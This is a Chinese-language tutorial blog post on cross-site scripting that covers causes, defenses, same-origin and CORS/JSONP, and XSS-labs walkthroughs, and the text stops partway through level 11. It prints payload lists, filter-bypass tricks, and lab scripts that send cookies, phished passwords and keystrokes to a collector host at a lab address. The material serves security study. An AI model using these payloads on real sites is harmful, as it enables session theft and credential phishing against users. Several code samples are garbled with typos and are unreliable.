[Web安全 网络安全]-XSS跨脚本攻击

文章目录:

一:前言

1.定义

2.漏洞出现的原因

3.鉴别可能存在XSS漏洞的地方

4.攻击原理

5.危害

6.防御

7.环境

[7.1 靶场](#7.1 靶场)

[7.2 自动扫描工具](#7.2 自动扫描工具)

[7.3 手工测试工具](#7.3 手工测试工具)

8.payload是什么

二:常用的标签语法

三:XSS的分类

反射型get

存储型post

DOM型

四:漏洞利用

1.盗取cookie

2.弹窗钓鱼

3.获取键盘记录

4.盲打

五:绕过*

闭合input标签绕过

鼠标事件过滤

空格绕过

大小写绕过防护

双写绕过防护

标签绕过防护

引号过滤绕过

括号绕过

字符拼接绕过

编码绕过

HTTPOnly绕过

注释http://绕过

隐藏的传参闭合绕过

注入绕过

htmlspecialchars函数

六:同源和跨域

1.同源

2.跨域

cors跨域

jsonp跨域

七:XSS-labs靶场练习

Less1:url传参

Less2:闭合input标签

[Less3:onclick onfocus onblur事件绕过](#Less3:onclick onfocus onblur事件绕过)

[Less4:onclick onfocus onblur事件绕过闭合](#Less4:onclick onfocus onblur事件绕过闭合)

[Less5:a href 标签闭合绕过](#Less5:a href 标签闭合绕过)

Less6:大小写绕过

Less7:双写绕过

Less8:unicode属性值编码绕过

Less9:注释http://绕过

Less10:隐藏的传参闭合绕过

Less11:Referer注入

[Less12:User Agent注入](#Less12:User Agent注入)

Less13:cookie注入

Less14:题有问题

Less15:ng-include文件包涵

[Less16:url编码-标签绕过 换行符替换空格绕过](#Less16:url编码-标签绕过 换行符替换空格绕过)

Less17_18:embed标签-鼠标事件闭合绕过

Less19_20:过时


一:前言

1.定义

Delphi 复制代码
XSS全称(Cross site scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XS


XSS是指攻击者在网页中嵌入客户端脚本代码,通常是javascript编写的危险代码(也可以是ActionScript VBScript)
当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的


XSS属于客户端攻击,受害者是用户(如果是管理人员也可以进行服务端攻击)

2.漏洞出现的原因

Delphi 复制代码
程序对输入和输出的控制不够严格:在输入到前端时被浏览器当作有效代码解析执行,从而产生危害

3.鉴别可能存在XSS漏洞的地方

Delphi 复制代码
鉴别(输入输出的地方):输出的形式是以标签的形式进行展示、弹窗、用户交互

4.攻击原理

Delphi 复制代码
第一步:攻击者发现正常网站的xss漏洞,注入一段js代码
       比如location.href="钓鱼网站"


第二步:用户通过客户端-浏览器访问这个网站的页面


第三步:服务端-服务器响应了html的页面,这里面包含攻击者的js代码


第四步:浏览器加载html文件过程中,自动运行了攻击者的js代码,导致浏览器又继续访问了钓鱼网站
        用户输入账号密码发给了钓鱼网站


第五步:钓鱼网站将数据保存起来盗取信息

5.危害

Delphi 复制代码
1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)

2.钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器)

3.注入木马或广告链接;(有些在主站注入非法网站的链接,对公司的声誉有一定的影响

4.后台增删改网站数据等操作:(配合CSRF漏洞,骗取用户点击,利用js拟浏览器发包)

5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)

6.有局限性的键盘记录

7.挂马:挂马是指‌黑客通过各种手段,包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等
       获得网站管理员账号,然后登录网站后台,通过数据库"备份/恢复"或者上传漏洞获得一个‌webshell

6.防御

javascript 复制代码
黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等

白名单:只允许特定类型或符号

编码及转义
    输出在标签或属性中进行HTML编码
    输出在script标签或事件中进行JavaScript编码
    输出在url中进行url编码。

cookie中设置httponly:setcookie将httponly选项设置为true,防范cookie劫持

确保执行脚本来源可信:开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略 )

不使用有缺陷的第三方库

7.环境

7.1 靶场

pikachu靶场:是一个网络安全训练平台,旨在模拟真实世界中的网络攻击和防御场景,帮助用户提高网络安全技能和知识

XSS-labs:是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台

XSS Game:XSS靶场练习

蓝莲花:XSS靶场练习

xss平台:在线平台

7.2 自动扫描工具

APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具

7.3 手工测试工具

Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF,不太好用昂

8.payload是什么

Payload在网络安全中指的是攻击者在利用漏洞时,通过向受攻击的系统发送的恶意代码或指令,用于实现攻击目的的数据包

javascript 复制代码
<script>alert('Zer0Lulz")</script>

<SCRiPt>AIErT('XSS)</ScRiPt>

"><script>alert('XSS')</script>

"><SCRiPt>AIErT(XSS')</SCRiPt>

=><><script>alert('XSS")</script>

=><><ScRiPt>AlErT(XSS')</ScRiPt>

="><script>alert('Xss')</script>

="><ScRiPt>AIErT(XSS")</ScRiPt>

='><script>alert('XSS')</script>

='><ScRiPt>AIErT(XSS"</ScRiPt>

"><<script>alert('XSS')</script>

"><<ScRiPt>AIErT(XSS"</ScRiPt>

='><<script>alert(XSS')</script>

='><<ScRiPt>AIErT('XSS")</ScRiPt>

<script>alert(String.fromCharCode(88, 83, 83)</script>

<ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>

><script>alert(String.fromCharcode(88,83,83)</script>

><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>

=><><script>alert(String.fromCharCode(88, 83, 83)</script>

=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>

="><script>alert(String.fromCharCode(88, 83, 83)</script>

="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>

='><script>alert(String.fromCharCode(88,83,83)</script>

='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>
javascript 复制代码
'><img src="#" onmouseover="alter('xss')">

二:常用的标签语法

|------------------|-----------------------------------------------------------------------------------------------|
| <script> | <script>alert("xss");</script> |
| <img> | <img src=1 οnerrοr=alert("xss");> onerror 事件是javascript中的事件之一。只要页面中出现脚本错误,就会产生onerror事件 |
| <a> | '"><a herf='javascript:alter(123)'>百度</a> |
| <video> | <video><source οnerrοr="alert(1)"> |
| <audio> | <audio src=x οnerrοr=alert("xss");> |
| <input> | <input οnfοcus="alert('xss');"> |
| <select> | <select οnfοcus=alert(1)></select> |
| <iframe> | <iframe οnlοad=alert("xss");></iframe> |
| <details> | 使用open属性触发ontoggle事件,无需用户去触发(可展开和折叠的内容区域 ) <details open οntοggle="alert('xss');"> |
| <textarea> | <textarea οnfοcus=alert("xss"); autofocus> |

三:XSS的分类

|-------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ### 反射型get | 与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等 (中低威漏洞)------>可用于钓鱼、引流、配合其他漏洞如CSRF等 javascript '"><script>confirm(1)</script> //'">完成闭合符号 javascript xx'</a><script>confirm(1)</script><a> //对话框确认取消 javascript xx' onclick="alter(2)"> |
| ### 存储型post | 交互的数据会被存在数据库中,永久性存储,一般出现在留言板,注册等页面 (高威漏洞)------>攻击范围广,流量传播大,可配合其他漏洞 php <?php $name=$_GET['name']; echo "welcome $name<br>"; ?> |
| ### DOM型 | 不与后台服务器产生数据交互,通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞 DM操作:html标签元素节点操作、修改标签属性 DOM型:大部分属于反射型、少部分属于存储型 (中低威漏洞)------>配合长度大小不受限制 Delphi document.referer window.name location innerhtml document.write |

|-----------|------------------------------------------------------------------------------------|
| 非持久型XSS攻击 | 非持久型xss攻击是一次性的,仅对当次的页面访问产生影响 要求用户访问一个被攻击者篡改后的链接,用户访问该链接时 被植入的攻击脚本被用户游览器执行,从而达到攻击目的 |
| 持久型XSS攻击 | 持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在 |
| DOM型XSS | DOM型XSS:可能是持久型、也可能是非持久型 |

四:漏洞利用

1.盗取cookie

GET型:加地址

Delphi 复制代码
'"><script>
    document.location = 'http://192.168.31.172/picachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;
</script>

POST型:伪造HTML页面,写好攻击代码逻辑

Delphi 复制代码
<head>
    <script>
        //当浏览器加载完页面所有的内容后自动触发执行
        window.onload=function(){
            document .getElenentById("postsubnit").click();
        }
    </script>
</head>

<body>
<form method="post" action="http://192,168.31,110/piknchu/vul/xss/xsspost/xss roflected post php">
    <input id="xssr in" type="text" name="message" value=
        "<script>
            document.location ='http://192.168.31.172/pikachu/pkxss/xcookie/cookio.php?cookie=' + document.cookie;
        </script>"
    />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

2.弹窗钓鱼

Delphi 复制代码
钓鱼攻击利用页面 D:phpstudy\ww\pikachu\pkxss\xfish

<script src="http://192.168.31.172/pikachu/pkxss/xfish/fish.php"></script>

fish.php

Delphi 复制代码
<?php
    error reporting(0);
    // var dump($_SERVER);

    if((!isset($_SERVER['PHP AUTH USER']))|| (!isset($_SERVER['PHP AUTH W'])))(
        //发送认证框,并给出迷感性的info
        header('Content-type:text/html;charset=utf-8');
        header("wwW-Authenticate:Basic realm认证"");
        header('HTTP/1.0 401 Unauthorized');
        echo "Authorization Required.";
        exit;
    else if ((isset($_SERVER['PHP AUTH USER']))&& (isset ($_SERVER['PHP AUTH PW']))){
        //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后合的IP
        header ("location: http://192.168.31.172/pikachu/pkxss/xfish/xfish,php?username{S_SERVER[PHP_AUTH_USER])&password={$_SERVER[PHP_AUTH_pw]}");
?>

xfish.php

Delphi 复制代码
<?php
    error reporting(0);
    include once"../inc/config.inc.php';
    include once../inc/mysql.inc.php';
    $link=connect();


    if(!empty($_GET['username'])&& !empty($_GET['password'])){
        susernane=$_gET[username'];
        spassword=$_GET['password"];
        Sreferer=r";
        sreferer.=$_SERVER['HTTP REFERER'];
        Stime=date('Y-m-d q:i:s');

        $query="insert fish (time,username,password, referer) values ('$time', '$username', '$password','$sreferer'.'$Stime');

        $result=mysqli_query($link,squery);
?>

3.获取键盘记录

Delphi 复制代码
'"><script src="http://192.168.31.172/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js:获取用户按下了哪些键进行拼接起来发送给ajax,然后以post请求发给rkserver.php(每个键通过JS代码映射出数字)

rkserver.php:取出数据

Delphi 复制代码
<?php
    include once'../inc/config.inc.php';
    include once'../inc/mysql.inc.php';
    slink=connect();

    //设置允许被跨域访问
    header("Access-Control-Allow-0rigin:*");

    $data =$_PosT['datax'];
    $query="insert keypress(data) values('$data')",
    $result=mysqli_query(slink,squery);
?>

4.盲打

Delphi 复制代码
定义:XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下
    提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码
    当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的
    也就是通过前端插入攻击代码,在后台管理系统中生效


简述:发现某个页面有XSS漏洞,在当前页面提交了XSS的攻击代码,在这个页面上面是不显示的,在其他页面中显示
     主要针对后台管理系统


'"><sCrIpT>alert(后台查看666说明被攻击)</scrIpT>

五:绕过*

|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ‌alert(123) alert("Hello, world!")函数:用于在‌浏览器中弹出一个带有指定消息的警告框 confirm("Hello, world!")函数:需要用户确认一下是否要进行操作,提供的框有一个「确定」和「取消」两个按钮 ||
| ### 闭合input标签绕过 | javascript '"><script>alert('jaden');</script> |
| ### 鼠标事件过滤 | javascript '"onfouces=alter("123") 鼠标事件函数: onclick:鼠标点击 onblur:离开 onfouces:聚焦 ondblclick: 鼠标双击 onmousedown: 鼠标按钮被按下 onmouseup: 鼠标按钮被释放 onmousemove: 鼠标被移动 onmouseover: 鼠标移动到元素上 onmouseout: 鼠标从元素上移开 onmouseenter: 鼠标进入元素 onmouseleave: 鼠标离开元素 |
| ### 空格绕过 | javascript 当空格被过滤掉时,我们可以用 / 来代替空格:<img/src=x/onerror="alert('xss')"> javascript 换行符号替换空格:src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>' |
| ### 大小写绕过防护 | javascript '"><scRIpt>confirm(1)</scRIpt> javascript <ImG sRc=x onerRor=alert("xss");> |
| ### 双写绕过防护 | javascript '"><sc<script>ipt>confirm(1)</sc<script>ipt> javascript <imimgg srsrcc=x onerror=alert("xss");> |
| ### 标签绕过防护 | 替换 javascript 换一个别的标签进行替换:script、a、img、video、audio... a href javascript '"><a herf='javascript:alter(123)'>百度</a> |
| ### 引号过滤绕过 | javascript 用反引号代替单双引号<img src=x onerror=alert(`xss`);> |
| ### 括号绕过 | javascript 当括号被过滤掉的时候我们可以使用throw来绕过<img src=x onerror="javascript:window.onerror=alert;throw 1"> 如果window.onerror的修改被阻止了,那么这里的throw 1只会导致一个未捕获的异常 通常会在浏览器的开发者控制台中显示,而不是弹出一个警告框 |
| ### 字符拼接绕过 | javascript 利用eval:<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> javascript 利用top:<script>top["al"+"ert"](`xss`);</script> |
| ### 编码绕过 | 编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制 在线Unicode编码解码 工具在线 Unicode 编码转换 |
| ### 编码绕过 | url编码绕过 javascript 原始SQL注入尝试:1' OR '1'='1 javascript 绕过尝试(URL编码):1%27+OR+%271%27%3D%271 ascii码绕过 javascript 如果攻击者发现系统对特定字符进行了过滤,他们可能会尝试使用这些字符的ASCII码值(通过脚本或工具)来生成绕过过滤的输入 十六进制hex绕过 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Hex编码):<script>alert(\x22XSS\x22)</script> base64绕过 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Base64编码):<img src="x" onerror="eval(atob('PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4='))"> js编码 javascript 原始XSS尝试:<script>alert("XSS")</script> javascript 绕过尝试(Unicode编码):<script>alert(\u0058\u0053\u0053)</script> unicode编码 javascript 原始URL:http://example.com/search?q=<script>alert("XSS")</script> javascript 绕过尝试(Unicode编码):http://example.com/search?q=%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0022%u0058%u0053%u0053%u0022%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e |
| ### HTTPOnly绕过 | httponly不是防止XXS攻击的,而是防止XXS攻击代码中的JS代码在浏览器上获取cookie信息 第七个参数设置为true javascript setcookie('ant[uname]',$_POST['username'],time()+3600, NULL ,NULL ,NULL,TRUE); |
| ### 注释http://绕过 | javascript javascript:alert('jaden')//http://www.baidu.com |
| ### 隐藏的传参闭合绕过 | javascript '" type='text' onclick='alert(123)' |
| ### 注入绕过 | Referer注入 、User Agent注入、Cookie注入 javascript 利用turp抓吧工具,把对应里面的值替换成 '" type='text' onclick='alert(123)' |

htmlspecialchars函数

javascript 复制代码
htmlspecialchars(string,flags,character-set,double_encode)函数 
    把一些预定义的字符转换为html实体

    但是这个函数默认配置不会将单引号和双引号过滤,只有设置quotestyle规定如何编码才可以
        ENT_COMPAT            默认的,仅编码双引号,也就是默认情况下不对单引号进行处理
        ENT_QUOTES            编码双引号和单引号
        ENT_NOQUOTES          不编码任何引号



预定义字符
    预定义的字符是:这就是我们学到的html实体编码表
        &(和号)成为         &amp
        (双引号)成为        &quot
        (单引号)成为        &#039
        <(小于)成为         &lt
        >(大于)成为         &gt

    导致你提交的script标签再输出的时候变成了
        &1tscript&gt


不同语言防犯XSS函数
    PHP    :htmlentities()、htmlspecialchars()
    Python : cgi.escape()
    ASP    :Server.HTMLEncode()
    ASP.NET: Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting Library
    Java   :xssprotect(Open Source Library)
    Node.js: node-validator
javascript 复制代码
php文件如下:把预定义的字符"<"(小于)和">"(大于)转换为 HTML 实体:
    <?php
        $str ="This is some <b>bold</b> text."
        echo htmlspecialchars($str);
    ?>


在html输出如下:
    <htm1>
        <head></head>
        <body>
            This is some <b>bold</b> text.
        </body>
    </htm1>

浏览器输出如下:
    This is some <b>bold</b> text.

六:同源和跨域

1.同源

javascript 复制代码
定义:对于js代码来说,为了安全考虑,所有浏览器都约定了"同源策略"
      同源策略禁止页面加载或执行与自身来源不同的域的任何脚本,既不同域之间不能使用JS进行操作。
      比如:x.com域名下的js不能操作y.com域名下的对象


那么为什么要有同源策略? 
    比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),也就是说恶意的请求了其他网站的页面或者数据,拿到自己的页面上使用
    如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码

    非同源的网络请求script的src不受同源机制的影响


Tips:下面这些标签跨域加载资源是不受同源策略限制的,(但是资源类型是有限制的)静态资源直接不受同源机制的影响
    <script src="...">    //加载js执行
    <img src="...">       //图片
    <link href="...">     //css
    <iframe src="...">    //任意资源
    <a href="...">        // 超链接地址


同源策略修改
    D:\phpstudy\www\pikachu\pkxss\rkeypress\rkserver.php

    同之前的案例到后台设置好Access-contro1-A11ow-0rigin,设置为*
    既允许所有人访问。一般公司的网站后台都不会设置*号的

    //设置允许被跨域访问
    header("Access-Control-Allow-0rigin:*");

2.跨域

javascript 复制代码
什么是跨域
    http://     www.        jaden.cn     :80        /news/index.php
    协议        子域名       主域名        端口       资源地址

    当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域

    我们把不同的域之间请求数据的操作,成为跨域操作;不同域之间进行沟通,叫做跨域

    不同域示例:
        http://www.jaden.cn:80
        http://www.jaden.cn:81
        https://www.jaden.cn:80
        http://www.jadens.cn:80

cors跨域

javascript 复制代码
//设置允许被跨域访问:设置响应头键值对
    header("Access-Control-Allow-0rigin:*");

jsonp跨域

javascript 复制代码
定义:基于script标签的src属性,发送请求,携带一个回调函数参数            js
      服务器端调用这个函数携带回调函数参数来响应数据                     php
      响应回来之后,回调js中声明的这个函数                              js


    第一个网站PHP:调用发送传值
        jd_data('aa=1,bb=2');

    第一个网站JS:执行函数
        <script src="http//www.jd.com/test.php?callback=jd_data"></script>

        function jd_data(res){
            res这个参数就能拿到响应数据
        }

jd.html :ajax-jq会发生报错

javascript 复制代码
<htm1>
    <head></head>

    <body>
        <button value='走你'><button>
    </body>

    <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script>

    <script>
        document.querySelector('button').onclick=fuction(){
            $.aiax({
                type:'get'.                            // get method
                url:"http://192 168.2 110/test.php'
                dataType:'jsonp'
                success':function(res){
                    console.log(res);
                }
            })
        }
    </script>
</html>

jd.html利用jsonp代码来实现

javascript 复制代码
<htm1>
    <head></head>

    <body>
        <button value='走你'><button>
        <div id='jd'></div>
    </body>

    <script src="https://cdn.bootcdn.net/aiax/libs/iguery/3.6.4/jguery.is"></script>

    <script>
        document.queryselector('button').onclick= function(){
            var scdocument.createlement('script');
            sc.src='http://192.168.2.110/pikachu/pkxss/rkeypress/test.php?cb=fn';
            document.body.append(sc);
        }

        function fn(data){
            console.log(data);

            var diva=document.getElementById('jd');
            diva.innerHTML=data;
        }
    </script>
</html>

test.php

javascript 复制代码
<?php
    $fn=$_GET['cb'];                            //fn
    echo $fn."('username=jd&password=666')";    //fn('username=jd&password=666')
?>

七:XSS-labs靶场练习

Less1:url传参

复制代码
Load URL地址:192.168.2.106/xss-labs/level1.php?name=test


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["name"];
        echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    <center><img src=level1.png></center>
    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>


确认输出
    192.168.2.106/xss-labs/level1.php?name=test
    192.168.2.106/xss-labs/level1.php?name=jaden

    192.168.2.106/xss-labs/level1.php?name=jaden<script>alert(1)</script>

    192.168.2.106/xss-labs/level1.php?'"><script>alert('jaden');</script>

Less2:闭合input标签

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level2.php?keyword=test


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."
        <center>
            <form action=level3.php method=GET>
                <input name=keyword  value="'.$str.'">	
                <input type=submit name=submit value=搜索 />
            </form>
        </center>";
    ?>


确认输出
    192.168.2.106/xss-labs/level2.php?keyword=test'"><script>alert('jaden');</script>

Less3:onclick onfocus onblur事件绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level3.php?writing=wait


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level2.php method=GET>
                <input name=keyword  value='".htmlspecialchars($str)."'>        //默认双引号,只有设置ENT_QUOTES编码才双引号和单引号
                <input type=submit name=submit value="搜索"/>
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level3.php?writing=wait'onclick='alter(123)'        //点击

    192.168.2.106/xss-labs/level3.php?writing=wait'onfocus='alter(123)'        //聚焦

    192.168.2.106/xss-labs/level3.php?writing=wait'onblur='alter(123)'         //离开

    //onblur='alter(123)'        onblur='javascript:alter(123)'
    192.168.2.106/xss-labs/level3.php?writing=wait'onblur='javascript:alter(123)'

Less4:onclick onfocus onblur事件绕过闭合

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level4.php?keyword=try


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str2=str_replace(">","",$str);
        $str3=str_replace("<","",$str2);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level4.php method=GET>
                <input name=keyword  value="'.$str3.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level4.php?keyword=try'"onclick='alter(123)'        //点击

    192.168.2.106/xss-labs/level4.php?keyword=try'"onfocus='alter(123)'        //聚焦

    192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='alter(123)'         //离开
    192.168.2.106/xss-labs/level4.php?keyword=try'"onblur='javascript:alter(123)'

Less5:a href 标签闭合绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level5.php?keyword=find


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("<script","<scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
                <form action=level5.php method=GET>
                <input name=keyword  value="'.$str3.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level5.php?keyword=find'"onclick='alter(123)'        //O后面加了横杠O_nclick

    192.168.2.106/xss-labs/level5.php?keyword=find'"<script>                     //'<scr_ipt>

    192.168.2.106/xss-labs/level5.php?keyword=find'"><a herf='javascript:alter(123)'>百度</a>

Less6:大小写绕过

复制代码
Load URL地址:192.168.2.106/xss-labs/level6.php?keyword=break


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str2=str_replace("<script","<scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level6.php method=GET>
                <input name=keyword  value="'.$str6.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出:不区分大小写
    192.168.2.106/xss-labs/level6.php?keyword=break'"><a herf='javascript:alter(123)'>百度</a>    //href变成了hr_ef

    192.168.2.106/xss-labs/level6.php?keyword=break'"><a HERF='javascript:alter(123)'>百度</a>    //href大写

Less7:双写绕过

复制代码
Load URL地址:192.168.2.106/xss-labs/level7.php?keyword=move


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str =strtolower( $_GET["keyword"]);
        $str2=str_replace("script","",$str);
        $str3=str_replace("on","",$str2);
        $str4=str_replace("src","",$str3);
        $str5=str_replace("data","",$str4);
        $str6=str_replace("href","",$str5);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form action=level7.php method=GET>
                <input name=keyword  value="'.$str6.'">
                <input type=submit name=submit value=搜索 />
            </form>
        </center>';
    ?>


确认输出
    192.168.2.106/xss-labs/level7.php?keyword=move'"><a herf='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了

    192.168.2.106/xss-labs/level7.php?keyword=move'"><a HERF='javascript:alter(123)'>百度</a>              //javascript变成了java,herf也没有了

    192.168.2.106/xss-labs/level7.php?keyword=move'"><a HEherfRF='javascscriptript:alter(123)'>百度</a>    ///双写

Less8:unicode属性值编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码:十进制、十六进制

在线Unicode编码解码 工具在线 Unicode 编码转换

复制代码
Load URL地址:192.168.2.106/xss-labs/level8.php?keyword=nice


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        $str7=str_replace('"','&quot',$str6);
        echo '
        <center>
            <form action=level8.php method=GET>
                <input name=keyword  value="'.htmlspecialchars($str).'">
                <input type=submit name=submit value=添加友情链接 />
            </form>
        </center>';
    ?>


确认输出
    //href变成了hr_ef;javascript变成了javascr_ipt;123被编码了&quotjaden
    192.168.2.106/xss-labs/level8.php?keyword=nice'"><a herf='javascript:alter(123)'>百度</a>  

    192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter("jaden")
    192.168.2.106/xss-labs/level8.php?keyword=nice javascript:alter('jaden')    //进行在线编码绕过

Less9:注释http://绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level9.php?keyword=not


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","scr_ipt",$str);
        $str3=str_replace("on","o_n",$str2);
        $str4=str_replace("src","sr_c",$str3);
        $str5=str_replace("data","da_ta",$str4);
        $str6=str_replace("href","hr_ef",$str5);
        $str7=str_replace('"','&quot',$str6);
        echo '
        <center>
            <form action=level9.php method=GET>
                <input name=keyword  value="'.htmlspecialchars($str).'">
                <input type=submit name=submit value=添加友情链接 />
            </form>
        </center>';
    ?>

    <?php
        if(false===strpos($str7,'http://'))
        {
            echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
        else
        {
          echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
        }
    ?>

    <center><img src=level9.png></center>

    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
    ?>


确认输出
    192.168.2.106/xss-labs/level9.php?keyword=not jaden                    //链接不合法

    192.168.2.106/xss-labs/level9.php?keyword=not https://www.baidu.com    //链接不合法

    192.168.2.106/xss-labs/level9.php?keyword=not http://www.baidu.com     //链接合法

    192.168.2.106/xss-labs/level9.php?keyword=not http:/www.baidu.com      //链接不合法

    javascript:alert('jaden')//http://www.baidu.com                        //变成javascr_ipt:alert('jaden')//http://

    //单独对javascript进行编码
    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com   

Less10:隐藏的传参闭合绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level10.php?keyword=well


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str11 = $_GET["t_sort"];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc    

    //闭合t_sort,发现没有链接
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'"onclick='alert(123)'

    //加type='text'让链接显示出来
    192.168.2.106/xss-labs/level10.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc'" type='text' onclick='alert(123)'

Less11:Referer 注入

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level11.php?keyword=good


查看源码
   <?php 
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str00 = $_GET["t_sort"];
        $str11=$_SERVER['HTTP_REFERER'];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
